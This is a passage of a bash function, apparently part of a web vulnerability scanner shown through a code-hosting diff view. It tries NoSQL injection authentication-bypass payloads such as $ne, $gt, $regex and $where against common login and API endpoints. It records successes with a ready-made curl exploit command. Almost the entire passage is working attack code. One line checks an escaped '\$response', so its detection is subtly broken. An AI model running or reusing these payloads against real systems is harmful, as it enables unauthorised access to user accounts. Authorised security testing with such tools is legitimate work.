local endpoints=("/login" "/api/login" "/auth" "/api/auth" "/user" "/api/user" "/graphql")
|
||||||
|
local base=$(echo "$target" | sed 's|\(https\?://[^/]*\).*|\1|')
|
||||||
|
|
||||||
|
for endpoint in "${endpoints[@]}"; do
|
||||||
|
# NoSQL injection payloads
|
||||||
|
local nosql_payloads=(
|
||||||
|
'{"username":{"$ne":""},"password":{"$ne":""}}'
|
||||||
|
'{"username":{"$gt":""},"password":{"$gt":""}}'
|
||||||
|
'{"username":{"$regex":".*"},"password":{"$regex":".*"}}'
|
||||||
|
'{"$where":"1==1"}'
|
||||||
|
'{"username":"admin","password":{"$ne":""}}'
|
||||||
|
'{"username":"admin","$where":"1==1"}'
|
||||||
|
)
|
||||||
|
|
||||||
|
for payload in "${nosql_payloads[@]}"; do
|
||||||
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
||||||
|
-X POST \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d "$payload" \
|
||||||
|
"${base}${endpoint}" 2>/dev/null)
|
||||||
|
|
||||||
|
if echo "\$response" | grep -qiE '"token"|"success":true|"loggedIn"|"authenticated"|200|"session"'; then
|
||||||
|
print_find "NoSQL Injection!" "Authentication bypass via $endpoint"
|
||||||
|
echo "SEVERITY: CRITICAL
|
||||||
|
VECTOR: NoSQL Injection
|
||||||
|
DETAIL: NoSQL injection on ${base}${endpoint}
|
||||||
|
EVIDENCE: Authentication bypass with $payload
|
||||||
|
EXPLOIT: curl -X POST ${base}${endpoint} -H 'Content-Type: application/json' -d '$payload'" > "$REPORTS_DIR/.finding_$(date +%s)_nosqli.txt"
|
||||||
|
findings=$((findings + 1))
|
||||||
|
break 2
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
return $findings
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user